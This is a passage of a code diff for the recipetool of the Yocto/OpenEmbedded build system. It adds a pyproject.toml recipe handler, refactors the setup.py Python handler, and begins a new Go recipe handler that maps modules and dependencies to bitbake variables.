- 'License :: OSI Approved :: Python License (CNRI Python License)': 'CNRI-Python',
- 'License :: OSI Approved :: Python Software Foundation License': 'PSF',
- 'License :: OSI Approved :: Qt Public License (QPL)': 'QPL',
- 'License :: OSI Approved :: Ricoh Source Code Public License': 'RSCPL',
- 'License :: OSI Approved :: Sleepycat License': 'Sleepycat',
- 'License :: OSI Approved :: Sun Industry Standards Source License (SISSL)': '-- Sun Industry Standards Source License (SISSL)',
- 'License :: OSI Approved :: Sun Public License': 'SPL',
- 'License :: OSI Approved :: University of Illinois/NCSA Open Source License': 'NCSA',
- 'License :: OSI Approved :: Vovida Software License 1.0': 'VSL-1.0',
- 'License :: OSI Approved :: W3C License': 'W3C',
- 'License :: OSI Approved :: X.Net License': 'Xnet',
- 'License :: OSI Approved :: Zope Public License': 'ZPL',
- 'License :: OSI Approved :: zlib/libpng License': 'Zlib',
- }
-
def __init__(self):
pass
+ def parse_setup_py(self, setupscript='./setup.py'):
+ with codecs.open(setupscript) as f:
+ info, imported_modules, non_literals, extensions = gather_setup_info(f)
+
+ def _map(key):
+ key = key.replace('_', '-')
+ key = key[0].upper() + key[1:]
+ if key in self.setup_parse_map:
+ key = self.setup_parse_map[key]
+ return key
+
+ # Naive mapping of setup() arguments to PKG-INFO field names
+ for d in [info, non_literals]:
+ for key, value in list(d.items()):
+ if key is None:
+ continue
+ new_key = _map(key)
+ if new_key != key:
+ del d[key]
+ d[new_key] = value
+
+ return info, 'setuptools' in imported_modules, non_literals, extensions
+
+ def get_setup_args_info(self, setupscript='./setup.py'):
+ cmd = ['python3', setupscript]
+ info = {}
+ keys = set(self.bbvar_map.keys())
+ keys |= set(self.setuparg_list_fields)
+ keys |= set(self.setuparg_multi_line_values)
+ grouped_keys = itertools.groupby(keys, lambda k: (k in self.setuparg_list_fields, k in self.setuparg_multi_line_values))
+ for index, keys in grouped_keys:
+ if index == (True, False):
+ # Splitlines output for each arg as a list value
+ for key in keys:
+ arg = self.setuparg_map.get(key, key.lower())
+ try:
+ arg_info = self.run_command(cmd + ['--' + arg], cwd=os.path.dirname(setupscript))
+ except (OSError, subprocess.CalledProcessError):
+ pass
+ else:
+ info[key] = [l.rstrip() for l in arg_info.splitlines()]
+ elif index == (False, True):
+ # Entire output for each arg
+ for key in keys:
+ arg = self.setuparg_map.get(key, key.lower())
+ try:
+ arg_info = self.run_command(cmd + ['--' + arg], cwd=os.path.dirname(setupscript))
+ except (OSError, subprocess.CalledProcessError):
+ pass
+ else:
+ info[key] = arg_info
+ else:
+ info.update(self.get_setup_byline(list(keys), setupscript))
+ return info
+
+ def get_setup_byline(self, fields, setupscript='./setup.py'):
+ info = {}
+
+ cmd = ['python3', setupscript]
+ cmd.extend('--' + self.setuparg_map.get(f, f.lower()) for f in fields)
+ try:
+ info_lines = self.run_command(cmd, cwd=os.path.dirname(setupscript)).splitlines()
+ except (OSError, subprocess.CalledProcessError):
+ pass
+ else:
+ if len(fields) != len(info_lines):
+ logger.error('Mismatch between setup.py output lines and number of fields')
+ sys.exit(1)
+
+ for lineno, line in enumerate(info_lines):
+ line = line.rstrip()
+ info[fields[lineno]] = line
+ return info
+
+ def get_pkginfo(self, pkginfo_fn):
+ msg = email.message_from_file(open(pkginfo_fn, 'r'))
+ msginfo = {}
+ for field in msg.keys():
+ values = msg.get_all(field)
+ if len(values) == 1:
+ msginfo[field] = values[0]
+ else:
+ msginfo[field] = values
+ return msginfo
+
+ def scan_setup_python_deps(self, srctree, setup_info, setup_non_literals):
+ if 'Package-dir' in setup_info:
+ package_dir = setup_info['Package-dir']
+ else:
+ package_dir = {}
+
+ dist = setuptools.Distribution()
+
+ class PackageDir(setuptools.command.build_py.build_py):
+ def __init__(self, package_dir):
+ self.package_dir = package_dir
+ self.dist = dist
+ super().__init__(self.dist)
+
+ pd = PackageDir(package_dir)
+ to_scan = []
+ if not any(v in setup_non_literals for v in ['Py-modules', 'Scripts', 'Packages']):
+ if 'Py-modules' in setup_info:
+ for module in setup_info['Py-modules']:
+ try:
+ package, module = module.rsplit('.', 1)
+ except ValueError:
+ package, module = '.', module
+ module_path = os.path.join(pd.get_package_dir(package), module + '.py')
+ to_scan.append(module_path)
+
+ if 'Packages' in setup_info:
+ for package in setup_info['Packages']:
+ to_scan.append(pd.get_package_dir(package))
+
+ if 'Scripts' in setup_info:
+ to_scan.extend(setup_info['Scripts'])
+ else:
+ logger.info("Scanning the entire source tree, as one or more of the following setup keywords are non-literal: py_modules, scripts, packages.")
+
+ if not to_scan:
+ to_scan = ['.']
+
+ logger.info("Scanning paths for packages & dependencies: %s", ', '.join(to_scan))
+
+ provided_packages = self.parse_pkgdata_for_python_packages()
+ scanned_deps = self.scan_python_dependencies([os.path.join(srctree, p) for p in to_scan])
+ mapped_deps, unmapped_deps = set(self.base_pkgdeps), set()
+ for dep in scanned_deps:
+ mapped = provided_packages.get(dep)
+ if mapped:
+ logger.debug('Mapped %s to %s' % (dep, mapped))
+ mapped_deps.add(mapped)
+ else:
+ logger.debug('Could not map %s' % dep)
+ unmapped_deps.add(dep)
+ return mapped_deps, unmapped_deps
+
def process(self, srctree, classes, lines_before, lines_after, handled, extravalues):
+
if 'buildsystem' in handled:
return False
+ logger.debug("Trying setup.py parser")
+
# Check for non-zero size setup.py files
setupfiles = RecipeHandler.checkfiles(srctree, ['setup.py'])
for fn in setupfiles:
if os.path.getsize(fn):
break
else:
+ logger.debug("No setup.py found")
return False
# setup.py is always parsed to get at certain required information, such as
@@ -193,6 +615,18 @@ class PythonRecipeHandler(RecipeHandler):
continue
if line.startswith('['):
+ # PACKAGECONFIG must not contain expressions or whitespace
+ line = line.replace(" ", "")
+ line = line.replace(':', "")
+ line = line.replace('.', "-dot-")
+ line = line.replace('"', "")
+ line = line.replace('<', "-smaller-")
+ line = line.replace('>', "-bigger-")
+ line = line.replace('_', "-")
+ line = line.replace('(', "")
+ line = line.replace(')', "")
+ line = line.replace('!', "-not-")
+ line = line.replace('=', "-equals-")
current_feature = line[1:-1]
elif current_feature:
extras_req[current_feature].append(line)
@@ -226,51 +660,16 @@ class PythonRecipeHandler(RecipeHandler):
if license_str:
for i, line in enumerate(lines_before):
- if line.startswith('LICENSE = '):
+ if line.startswith('##LICENSE_PLACEHOLDER##'):
lines_before.insert(i, '# NOTE: License in setup.py/PKGINFO is: %s' % license_str)
break
if 'Classifier' in info:
- existing_licenses = info.get('License', '')
- licenses = []
- for classifier in info['Classifier']:
- if classifier in self.classifier_license_map:
- license = self.classifier_license_map[classifier]
- if license == 'Apache' and 'Apache-2.0' in existing_licenses:
- license = 'Apache-2.0'
- elif license == 'GPL':
- if 'GPL-2.0' in existing_licenses or 'GPLv2' in existing_licenses:
- license = 'GPL-2.0'
- elif 'GPL-3.0' in existing_licenses or 'GPLv3' in existing_licenses:
- license = 'GPL-3.0'
- elif license == 'LGPL':
- if 'LGPL-2.1' in existing_licenses or 'LGPLv2.1' in existing_licenses:
- license = 'LGPL-2.1'
- elif 'LGPL-2.0' in existing_licenses or 'LGPLv2' in existing_licenses:
- license = 'LGPL-2.0'
- elif 'LGPL-3.0' in existing_licenses or 'LGPLv3' in existing_licenses:
- license = 'LGPL-3.0'
- licenses.append(license)
-
- if licenses:
- info['License'] = ' & '.join(licenses)
+ license = self.handle_classifier_license(info['Classifier'], info.get('License', ''))
+ if license:
+ info['License'] = license
- # Map PKG-INFO & setup.py fields to bitbake variables
- for field, values in info.items():
- if field in self.excluded_fields:
- continue
-
- if field not in self.bbvar_map:
- continue
-
- if isinstance(values, str):
- value = values
- else:
- value = ' '.join(str(v) for v in values if v)
-
- bbvar = self.bbvar_map[field]
- if bbvar not in extravalues and value:
- extravalues[bbvar] = value
+ self.map_info_to_bbvar(info, extravalues)
mapped_deps, unmapped_deps = self.scan_setup_python_deps(srctree, setup_info, setup_non_literals)
@@ -281,6 +680,7 @@ class PythonRecipeHandler(RecipeHandler):
lines_after.append('# The following configs & dependencies are from setuptools extras_require.')
lines_after.append('# These dependencies are optional, hence can be controlled via PACKAGECONFIG.')
lines_after.append('# The upstream names may not correspond exactly to bitbake package names.')
+ lines_after.append('# The configs are might not correct, since PACKAGECONFIG does not support expressions as may used in requires.txt - they are just replaced by text.')
lines_after.append('#')
lines_after.append('# Uncomment this line to enable all the optional features.')
lines_after.append('#PACKAGECONFIG ?= "{}"'.format(' '.join(k.lower() for k in extras_req)))
@@ -301,7 +701,7 @@ class PythonRecipeHandler(RecipeHandler):
inst_req_deps = ('python3-' + r.replace('.', '-').lower() for r in sorted(inst_reqs))
lines_after.append('# WARNING: the following rdepends are from setuptools install_requires. These')
lines_after.append('# upstream names may not correspond exactly to bitbake package names.')
- lines_after.append('RDEPENDS_${{PN}} += "{}"'.format(' '.join(inst_req_deps)))
+ lines_after.append('RDEPENDS:${{PN}} += "{}"'.format(' '.join(inst_req_deps)))
if mapped_deps:
name = info.get('Name')
@@ -313,7 +713,7 @@ class PythonRecipeHandler(RecipeHandler):
lines_after.append('')
lines_after.append('# WARNING: the following rdepends are determined through basic analysis of the')
lines_after.append('# python sources, and might not be 100% accurate.')
- lines_after.append('RDEPENDS_${{PN}} += "{}"'.format(' '.join(sorted(mapped_deps))))
+ lines_after.append('RDEPENDS:${{PN}} += "{}"'.format(' '.join(sorted(mapped_deps))))
unmapped_deps -= set(extensions)
unmapped_deps -= set(self.assume_provided)
@@ -326,275 +726,283 @@ class PythonRecipeHandler(RecipeHandler):
handled.append('buildsystem')
- def get_pkginfo(self, pkginfo_fn):
- msg = email.message_from_file(open(pkginfo_fn, 'r'))
- msginfo = {}
- for field in msg.keys():
- values = msg.get_all(field)
- if len(values) == 1:
- msginfo[field] = values[0]
- else:
- msginfo[field] = values
- return msginfo
+class PythonPyprojectTomlRecipeHandler(PythonRecipeHandler):
+ """Base class to support PEP517 and PEP518
+
+ PEP517 https://peps.python.org/pep-0517/#source-trees
+ PEP518 https://peps.python.org/pep-0518/#build-system-table
+ """
+ # bitbake currently supports the 4 following backends
+ build_backend_map = {
+ "setuptools.build_meta": "python_setuptools_build_meta",
+ "poetry.core.masonry.api": "python_poetry_core",
+ "flit_core.buildapi": "python_flit_core",
+ "hatchling.build": "python_hatchling",
+ "maturin": "python_maturin",
+ "mesonpy": "python_mesonpy",
+ }
- def parse_setup_py(self, setupscript='./setup.py'):
- with codecs.open(setupscript) as f:
- info, imported_modules, non_literals, extensions = gather_setup_info(f)
+ # setuptools.build_meta and flit declare project metadata into the "project" section of pyproject.toml
+ # according to PEP-621: https://packaging.python.org/en/latest/specifications/declaring-project-metadata/#declaring-project-metadata
+ # while poetry uses the "tool.poetry" section according to its official documentation: https://python-poetry.org/docs/pyproject/
+ # keys from "project" and "tool.poetry" sections are almost the same except for the HOMEPAGE which is "homepage" for tool.poetry
+ # and "Homepage" for "project" section. So keep both
+ bbvar_map = {
+ "name": "PN",
+ "version": "PV",
+ "Homepage": "HOMEPAGE",
+ "homepage": "HOMEPAGE",
+ "description": "SUMMARY",
+ "license": "LICENSE",
+ "dependencies": "RDEPENDS:${PN}",
+ "requires": "DEPENDS",
+ }
- def _map(key):
- key = key.replace('_', '-')
- key = key[0].upper() + key[1:]
- if key in self.setup_parse_map:
- key = self.setup_parse_map[key]
- return key
+ replacements = [
+ ("license", r" +$", ""),
+ ("license", r"^ +", ""),
+ ("license", r" ", "-"),
+ ("license", r"^GNU-", ""),
+ ("license", r"-[Ll]icen[cs]e(,?-[Vv]ersion)?", ""),
+ ("license", r"^UNKNOWN$", ""),
+ # Remove currently unhandled version numbers from these variables
+ ("requires", r"\[[^\]]+\]$", ""),
+ ("requires", r"^([^><= ]+).*", r"\1"),
+ ("dependencies", r"\[[^\]]+\]$", ""),
+ ("dependencies", r"^([^><= ]+).*", r"\1"),
+ ]
- # Naive mapping of setup() arguments to PKG-INFO field names
- for d in [info, non_literals]:
- for key, value in list(d.items()):
- if key is None:
- continue
- new_key = _map(key)
- if new_key != key:
- del d[key]
- d[new_key] = value
+ excluded_native_pkgdeps = [
+ # already provided by python_setuptools_build_meta.bbclass
+ "python3-setuptools-native",
+ "python3-wheel-native",
+ # already provided by python_poetry_core.bbclass
+ "python3-poetry-core-native",
+ # already provided by python_flit_core.bbclass
+ "python3-flit-core-native",
+ # already provided by python_mesonpy
+ "python3-meson-python-native",
+ ]
- return info, 'setuptools' in imported_modules, non_literals, extensions
+ # add here a list of known and often used packages and the corresponding bitbake package
+ known_deps_map = {
+ "setuptools": "python3-setuptools",
+ "wheel": "python3-wheel",
+ "poetry-core": "python3-poetry-core",
+ "flit_core": "python3-flit-core",
+ "setuptools-scm": "python3-setuptools-scm",
+ "hatchling": "python3-hatchling",
+ "hatch-vcs": "python3-hatch-vcs",
+ "meson-python" : "python3-meson-python",
+ }
- def get_setup_args_info(self, setupscript='./setup.py'):
- cmd = ['python3', setupscript]
- info = {}
- keys = set(self.bbvar_map.keys())
- keys |= set(self.setuparg_list_fields)
- keys |= set(self.setuparg_multi_line_values)
- grouped_keys = itertools.groupby(keys, lambda k: (k in self.setuparg_list_fields, k in self.setuparg_multi_line_values))
- for index, keys in grouped_keys:
- if index == (True, False):
- # Splitlines output for each arg as a list value
- for key in keys:
- arg = self.setuparg_map.get(key, key.lower())
- try:
- arg_info = self.run_command(cmd + ['--' + arg], cwd=os.path.dirname(setupscript))
- except (OSError, subprocess.CalledProcessError):
- pass
- else:
- info[key] = [l.rstrip() for l in arg_info.splitlines()]
- elif index == (False, True):
- # Entire output for each arg
- for key in keys:
- arg = self.setuparg_map.get(key, key.lower())
- try:
- arg_info = self.run_command(cmd + ['--' + arg], cwd=os.path.dirname(setupscript))
- except (OSError, subprocess.CalledProcessError):
- pass
- else:
- info[key] = arg_info
- else:
- info.update(self.get_setup_byline(list(keys), setupscript))
- return info
+ def __init__(self):
+ pass
- def get_setup_byline(self, fields, setupscript='./setup.py'):
+ def process(self, srctree, classes, lines_before, lines_after, handled, extravalues):
info = {}
+ metadata = {}
- cmd = ['python3', setupscript]
- cmd.extend('--' + self.setuparg_map.get(f, f.lower()) for f in fields)
- try:
- info_lines = self.run_command(cmd, cwd=os.path.dirname(setupscript)).splitlines()
- except (OSError, subprocess.CalledProcessError):
- pass
- else:
- if len(fields) != len(info_lines):
- logger.error('Mismatch between setup.py output lines and number of fields')
- sys.exit(1)
-
- for lineno, line in enumerate(info_lines):
- line = line.rstrip()
- info[fields[lineno]] = line
- return info
-
- def apply_info_replacements(self, info):
- for variable, search, replace in self.replacements:
- if variable not in info:
- continue
-
- def replace_value(search, replace, value):
- if replace is None:
- if re.search(search, value):
- return None
- else:
- new_value = re.sub(search, replace, value)
- if value != new_value:
- return new_value
- return value
-
- value = info[variable]
- if isinstance(value, str):
- new_value = replace_value(search, replace, value)
- if new_value is None:
- del info[variable]
- elif new_value != value:
- info[variable] = new_value
- elif hasattr(value, 'items'):
- for dkey, dvalue in list(value.items()):
- new_list = []
- for pos, a_value in enumerate(dvalue):
- new_value = replace_value(search, replace, a_value)
- if new_value is not None and new_value != value:
- new_list.append(new_value)
-
- if value != new_list:
- value[dkey] = new_list
- else:
- new_list = []
- for pos, a_value in enumerate(value):
- new_value = replace_value(search, replace, a_value)
- if new_value is not None and new_value != value:
- new_list.append(new_value)
-
- if value != new_list:
- info[variable] = new_list
-
- def scan_setup_python_deps(self, srctree, setup_info, setup_non_literals):
- if 'Package-dir' in setup_info:
- package_dir = setup_info['Package-dir']
- else:
- package_dir = {}
-
- class PackageDir(distutils.command.build_py.build_py):
- def __init__(self, package_dir):
- self.package_dir = package_dir
-
- pd = PackageDir(package_dir)
- to_scan = []
- if not any(v in setup_non_literals for v in ['Py-modules', 'Scripts', 'Packages']):
- if 'Py-modules' in setup_info:
- for module in setup_info['Py-modules']:
- try:
- package, module = module.rsplit('.', 1)
- except ValueError:
- package, module = '.', module
- module_path = os.path.join(pd.get_package_dir(package), module + '.py')
- to_scan.append(module_path)
+ if 'buildsystem' in handled:
+ return False
- if 'Packages' in setup_info:
- for package in setup_info['Packages']:
- to_scan.append(pd.get_package_dir(package))
+ logger.debug("Trying pyproject.toml parser")
- if 'Scripts' in setup_info:
- to_scan.extend(setup_info['Scripts'])
+ # Check for non-zero size setup.py files
+ setupfiles = RecipeHandler.checkfiles(srctree, ["pyproject.toml"])
+ for fn in setupfiles:
+ if os.path.getsize(fn):
+ break
else:
- logger.info("Scanning the entire source tree, as one or more of the following setup keywords are non-literal: py_modules, scripts, packages.")
-
- if not to_scan:
- to_scan = ['.']
-
- logger.info("Scanning paths for packages & dependencies: %s", ', '.join(to_scan))
+ logger.debug("No pyproject.toml found")
+ return False
- provided_packages = self.parse_pkgdata_for_python_packages()
- scanned_deps = self.scan_python_dependencies([os.path.join(srctree, p) for p in to_scan])
- mapped_deps, unmapped_deps = set(self.base_pkgdeps), set()
- for dep in scanned_deps:
- mapped = provided_packages.get(dep)
- if mapped:
- logger.debug('Mapped %s to %s' % (dep, mapped))
- mapped_deps.add(mapped)
- else:
- logger.debug('Could not map %s' % dep)
- unmapped_deps.add(dep)
- return mapped_deps, unmapped_deps
+ setupscript = os.path.join(srctree, "pyproject.toml")
- def scan_python_dependencies(self, paths):
- deps = set()
try:
- dep_output = self.run_command(['pythondeps', '-d'] + paths)
- except (OSError, subprocess.CalledProcessError):
- pass
- else:
- for line in dep_output.splitlines():
- line = line.rstrip()
- dep, filename = line.split('\t', 1)
- if filename.endswith('/setup.py'):
- continue
- deps.add(dep)
+ try:
+ import tomllib
+ except ImportError:
+ try:
+ import tomli as tomllib
+ except ImportError:
+ logger.error("Neither 'tomllib' nor 'tomli' could be imported, cannot scan pyproject.toml.")
+ return False
+
+ try:
+ with open(setupscript, "rb") as f:
+ config = tomllib.load(f)
+ except Exception:
+ logger.exception("Failed to parse pyproject.toml")
+ return False
+
+ build_backend = config["build-system"]["build-backend"]
+ if build_backend in self.build_backend_map:
+ classes.append(self.build_backend_map[build_backend])
+ else:
+ logger.error(
+ "Unsupported build-backend: %s, cannot use pyproject.toml. Will try to use legacy setup.py"
+ % build_backend
+ )
+ return False
- try:
- provides_output = self.run_command(['pythondeps', '-p'] + paths)
- except (OSError, subprocess.CalledProcessError):
- pass
- else:
- provides_lines = (l.rstrip() for l in provides_output.splitlines())
- provides = set(l for l in provides_lines if l and l != 'setup')
- deps -= provides
+ licfile = ""
- return deps
+ if build_backend == "poetry.core.masonry.api":
+ if "tool" in config and "poetry" in config["tool"]:
+ metadata = config["tool"]["poetry"]
+ else:
+ if "project" in config:
+ metadata = config["project"]
+
+ if metadata:
+ for field, values in metadata.items():
+ if field == "license":
+ # For setuptools.build_meta and flit, licence is a table
+ # but for poetry licence is a string
+ # for hatchling, both table (jsonschema) and string (iniconfig) have been used
+ if build_backend == "poetry.core.masonry.api":
+ value = values
+ else:
+ value = values.get("text", "")
+ if not value:
+ licfile = values.get("file", "")
+ continue
+ elif field == "dependencies" and build_backend == "poetry.core.masonry.api":
+ # For poetry backend, "dependencies" section looks like:
+ # [tool.poetry.dependencies]
+ # requests = "^2.13.0"
+ # requests = { version = "^2.13.0", source = "private" }
+ # See https://python-poetry.org/docs/master/pyproject/#dependencies-and-dependency-groups for more details
+ # This class doesn't handle versions anyway, so we just get the dependencies name here and construct a list
+ value = []
+ for k in values.keys():
+ value.append(k)
+ elif isinstance(values, dict):
+ for k, v in values.items():
+ info[k] = v
+ continue
+ else:
+ value = values
- def parse_pkgdata_for_python_packages(self):
- suffixes = [t[0] for t in imp.get_suffixes()]
- pkgdata_dir = tinfoil.config_data.getVar('PKGDATA_DIR')
+ info[field] = value
- ldata = tinfoil.config_data.createCopy()
- bb.parse.handle('classes/python3-dir.bbclass', ldata, True)
- python_sitedir = ldata.getVar('PYTHON_SITEPACKAGES_DIR')
+ # Grab the license value before applying replacements
+ license_str = info.get("license", "").strip()
- dynload_dir = os.path.join(os.path.dirname(python_sitedir), 'lib-dynload')
- python_dirs = [python_sitedir + os.sep,
- os.path.join(os.path.dirname(python_sitedir), 'dist-packages') + os.sep,
- os.path.dirname(python_sitedir) + os.sep]
- packages = {}
- for pkgdatafile in glob.glob('{}/runtime/*'.format(pkgdata_dir)):
- files_info = None
- with open(pkgdatafile, 'r') as f:
- for line in f.readlines():
- field, value = line.split(': ', 1)
- if field == 'FILES_INFO':
- files_info = ast.literal_eval(value)
+ if license_str:
+ for i, line in enumerate(lines_before):
+ if line.startswith("##LICENSE_PLACEHOLDER##"):
+ lines_before.insert(
+ i, "# NOTE: License in pyproject.toml is: %s" % license_str
+ )
break
- else:
- continue
- for fn in files_info:
- for suffix in suffixes:
- if fn.endswith(suffix):
- break
- else:
- continue
+ info["requires"] = config["build-system"]["requires"]
+
+ self.apply_info_replacements(info)
+
+ if "classifiers" in info:
+ license = self.handle_classifier_license(
+ info["classifiers"], info.get("license", "")
+ )
+ if license:
+ if licfile:
+ lines = []
+ md5value = bb.utils.md5_file(os.path.join(srctree, licfile))
+ lines.append('LICENSE = "%s"' % license)
+ lines.append(
+ 'LIC_FILES_CHKSUM = "file://%s;md5=%s"'
+ % (licfile, md5value)
+ )
+ lines.append("")
+
+ # Replace the placeholder so we get the values in the right place in the recipe file
+ try:
+ pos = lines_before.index("##LICENSE_PLACEHOLDER##")
+ except ValueError:
+ pos = -1
+ if pos == -1:
+ lines_before.extend(lines)
+ else:
+ lines_before[pos : pos + 1] = lines
- if fn.startswith(dynload_dir + os.sep):
- if '/.debug/' in fn:
- continue
- base = os.path.basename(fn)
- provided = base.split('.', 1)[0]
- packages[provided] = os.path.basename(pkgdatafile)
- continue
+ handled.append(("license", [license, licfile, md5value]))
+ else:
+ info["license"] = license
- for python_dir in python_dirs:
- if fn.startswith(python_dir):
- relpath = fn[len(python_dir):]
- relstart, _, relremaining = relpath.partition(os.sep)
- if relstart.endswith('.egg'):
- relpath = relremaining
- base, _ = os.path.splitext(relpath)
+ provided_packages = self.parse_pkgdata_for_python_packages()
+ provided_packages.update(self.known_deps_map)
+ native_mapped_deps, native_unmapped_deps = set(), set()
+ mapped_deps, unmapped_deps = set(), set()
- if '/.debug/' in base:
- continue
- if os.path.basename(base) == '__init__':
- base = os.path.dirname(base)
- base = base.replace(os.sep + os.sep, os.sep)
- provided = base.replace(os.sep, '.')
- packages[provided] = os.path.basename(pkgdatafile)
- return packages
+ if "requires" in info:
+ for require in info["requires"]:
+ mapped = provided_packages.get(require)
- @classmethod
- def run_command(cls, cmd, **popenargs):
- if 'stderr' not in popenargs:
- popenargs['stderr'] = subprocess.STDOUT
- try:
- return subprocess.check_output(cmd, **popenargs).decode('utf-8')
- except OSError as exc:
- logger.error('Unable to run `{}`: {}', ' '.join(cmd), exc)
- raise
- except subprocess.CalledProcessError as exc:
- logger.error('Unable to run `{}`: {}', ' '.join(cmd), exc.output)
- raise
+ if mapped:
+ logger.debug("Mapped %s to %s" % (require, mapped))
+ native_mapped_deps.add(mapped)
+ else:
+ logger.debug("Could not map %s" % require)
+ native_unmapped_deps.add(require)
+
+ info.pop("requires")
+
+ if native_mapped_deps != set():
+ native_mapped_deps = {
+ item + "-native" for item in native_mapped_deps
+ }
+ native_mapped_deps -= set(self.excluded_native_pkgdeps)
+ if native_mapped_deps != set():
+ info["requires"] = " ".join(sorted(native_mapped_deps))
+
+ if native_unmapped_deps:
+ lines_after.append("")
+ lines_after.append(
+ "# WARNING: We were unable to map the following python package/module"
+ )
+ lines_after.append(
+ "# dependencies to the bitbake packages which include them:"
+ )
+ lines_after.extend(
+ "# {}".format(d) for d in sorted(native_unmapped_deps)
+ )
+
+ if "dependencies" in info:
+ for dependency in info["dependencies"]:
+ mapped = provided_packages.get(dependency)
+ if mapped:
+ logger.debug("Mapped %s to %s" % (dependency, mapped))
+ mapped_deps.add(mapped)
+ else:
+ logger.debug("Could not map %s" % dependency)
+ unmapped_deps.add(dependency)
+
+ info.pop("dependencies")
+
+ if mapped_deps != set():
+ if mapped_deps != set():
+ info["dependencies"] = " ".join(sorted(mapped_deps))
+
+ if unmapped_deps:
+ lines_after.append("")
+ lines_after.append(
+ "# WARNING: We were unable to map the following python package/module"
+ )
+ lines_after.append(
+ "# runtime dependencies to the bitbake packages which include them:"
+ )
+ lines_after.extend(
+ "# {}".format(d) for d in sorted(unmapped_deps)
+ )
+
+ self.map_info_to_bbvar(info, extravalues)
+
+ handled.append("buildsystem")
+ except Exception:
+ logger.exception("Failed to correctly handle pyproject.toml, falling back to another method")
+ return False
def gather_setup_info(fileobj):
@@ -710,5 +1118,7 @@ def has_non_literals(value):
def register_recipe_handlers(handlers):
- # We need to make sure this is ahead of the makefile fallback handler
- handlers.append((PythonRecipeHandler(), 70))
+ # We need to make sure these are ahead of the makefile fallback handler
+ # and the pyproject.toml handler ahead of the setup.py handler
+ handlers.append((PythonPyprojectTomlRecipeHandler(), 75))
+ handlers.append((PythonSetupPyRecipeHandler(), 70))
diff --git a/scripts/lib/recipetool/create_go.py b/scripts/lib/recipetool/create_go.py
new file mode 100644
index 0000000000..c560831442
--- /dev/null
+++ b/scripts/lib/recipetool/create_go.py
@@ -0,0 +1,779 @@
+# Recipe creation tool - go support plugin
+#
+# The code is based on golang internals. See the afftected
+# methods for further reference and information.
+#
+# Copyright (C) 2023 Weidmueller GmbH & Co KG
+# Author: Lukas Funke <lukas.funke@weidmueller.com>
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+
+from collections import namedtuple
+from enum import Enum
+from html.parser import HTMLParser
+from recipetool.create import RecipeHandler, handle_license_vars
+from recipetool.create import guess_license, tidy_licenses, fixup_license
+from recipetool.create import determine_from_url
+from urllib.error import URLError
+
+import bb.utils
+import json
+import logging
+import os
+import re
+import subprocess
+import sys
+import shutil
+import tempfile
+import urllib.parse
+import urllib.request
+
+
+GoImport = namedtuple('GoImport', 'root vcs url suffix')
+logger = logging.getLogger('recipetool')
+CodeRepo = namedtuple(
+ 'CodeRepo', 'path codeRoot codeDir pathMajor pathPrefix pseudoMajor')
+
+tinfoil = None
+
+# Regular expression to parse pseudo semantic version
+# see https://go.dev/ref/mod#pseudo-versions
+re_pseudo_semver = re.compile(
+ r"^v[0-9]+\.(0\.0-|\d+\.\d+-([^+]*\.)?0\.)(?P<utc>\d{14})-(?P<commithash>[A-Za-z0-9]+)(\+[0-9A-Za-z-]+(\.[0-9A-Za-z-]+)*)?$")
+# Regular expression to parse semantic version
+re_semver = re.compile(
+ r"^v(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<prerelease>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<buildmetadata>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$")
+
+
+def tinfoil_init(instance):
+ global tinfoil
+ tinfoil = instance
+
+
+class GoRecipeHandler(RecipeHandler):
+ """Class to handle the go recipe creation"""
+
+ @staticmethod
+ def __ensure_go():
+ """Check if the 'go' command is available in the recipes"""
+ recipe = "go-native"
+ if not tinfoil.recipes_parsed:
+ tinfoil.parse_recipes()
+ try:
+ rd = tinfoil.parse_recipe(recipe)
+ except bb.providers.NoProvider:
+ bb.error(
+ "Nothing provides '%s' which is required for the build" % (recipe))
+ bb.note(
+ "You will likely need to add a layer that provides '%s'" % (recipe))
+ return None
+
+ bindir = rd.getVar('STAGING_BINDIR_NATIVE')
+ gopath = os.path.join(bindir, 'go')
+
+ if not os.path.exists(gopath):
+ tinfoil.build_targets(recipe, 'addto_recipe_sysroot')
+
+ if not os.path.exists(gopath):
+ logger.error(
+ '%s required to process specified source, but %s did not seem to populate it' % 'go', recipe)
+ return None
+
+ return bindir
+
+ def __resolve_repository_static(self, modulepath):
+ """Resolve the repository in a static manner
+
+ The method is based on the go implementation of
+ `repoRootFromVCSPaths` in
+ https://github.com/golang/go/blob/master/src/cmd/go/internal/vcs/vcs.go
+ """
+
+ url = urllib.parse.urlparse("https://" + modulepath)
+ req = urllib.request.Request(url.geturl())
+
+ try:
+ resp = urllib.request.urlopen(req)
+ # Some modulepath are just redirects to github (or some other vcs
+ # hoster). Therefore, we check if this modulepath redirects to
+ # somewhere else
+ if resp.geturl() != url.geturl():
+ bb.debug(1, "%s is redirectred to %s" %
+ (url.geturl(), resp.geturl()))
+ url = urllib.parse.urlparse(resp.geturl())
+ modulepath = url.netloc + url.path
+
+ except URLError as url_err:
+ # This is probably because the module path
+ # contains the subdir and major path. Thus,
+ # we ignore this error for now
+ logger.debug(
+ 1, "Failed to fetch page from [%s]: %s" % (url, str(url_err)))
+
+ host, _, _ = modulepath.partition('/')
+
+ class vcs(Enum):
+ pathprefix = "pathprefix"
+ regexp = "regexp"
+ type = "type"
+ repo = "repo"
+ check = "check"
+ schemelessRepo = "schemelessRepo"
+
+ # GitHub
+ vcsGitHub = {}
+ vcsGitHub[vcs.pathprefix] = "github.com"
+ vcsGitHub[vcs.regexp] = re.compile(
+ r'^(?P<root>github\.com/[A-Za-z0-9_.\-]+/[A-Za-z0-9_.\-]+)(/(?P<suffix>[A-Za-z0-9_.\-]+))*$')
+ vcsGitHub[vcs.type] = "git"
+ vcsGitHub[vcs.repo] = "https://\\g<root>"
+
+ # Bitbucket
+ vcsBitbucket = {}
+ vcsBitbucket[vcs.pathprefix] = "bitbucket.org"
+ vcsBitbucket[vcs.regexp] = re.compile(
+ r'^(?P<root>bitbucket\.org/(?P<bitname>[A-Za-z0-9_.\-]+/[A-Za-z0-9_.\-]+))(/(?P<suffix>[A-Za-z0-9_.\-]+))*$')
+ vcsBitbucket[vcs.type] = "git"
+ vcsBitbucket[vcs.repo] = "https://\\g<root>"
+
+ # IBM DevOps Services (JazzHub)
